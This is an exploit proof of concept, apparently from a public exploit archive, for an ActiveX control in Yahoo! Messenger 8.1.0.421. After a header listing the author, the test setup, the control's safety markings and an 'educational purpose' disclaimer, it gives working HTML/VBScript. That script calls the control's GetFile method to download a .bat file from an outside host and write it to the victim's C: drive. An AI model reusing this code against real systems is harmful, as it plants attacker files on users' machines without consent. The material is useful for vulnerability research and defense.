Yahoo! Messenger version 8.1.0.421 CYFT Object arbitrary file download exploit.
6e64af05fb091cf2cfce9ff05574ea96017e38f93d78f223d7427fab7cb8114a<pre>
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<b>Yahoo! Messenger 8.1.0.421 CYFT Object (ft60.dll) Arbitrary File Download</b>
url: http://download.yahoo.com/dl/msgr8/us/ymsgr8us.exe
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
<b><font color='red'>This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.</font></b>
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
<b>Marked as:
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False</b>
From remote: depends by Internet Explorer settings
From local: yes
<b>Description:
This contron contains a "GetFile()" method which allows to download, on
user's pc, an arbitrary file pased as argument.
Remote execution depends by Internet Explorer settings, local execution
works very well.</b>
<b>greetz to:<font color='red'> skyhole (or YAG KOHHA)</font> for inspiration</b>
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<object classid='clsid:24F3EAD6-8B87-4C1A-97DA-71C126BDA08F' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
test.GetFile "http://www.shinnai.altervista.org/shinnai.bat","c:\\shinnai.bat",5,1,"shinnai"
MsgBox "Exploit completed"
End Sub
</script>
</span></span>
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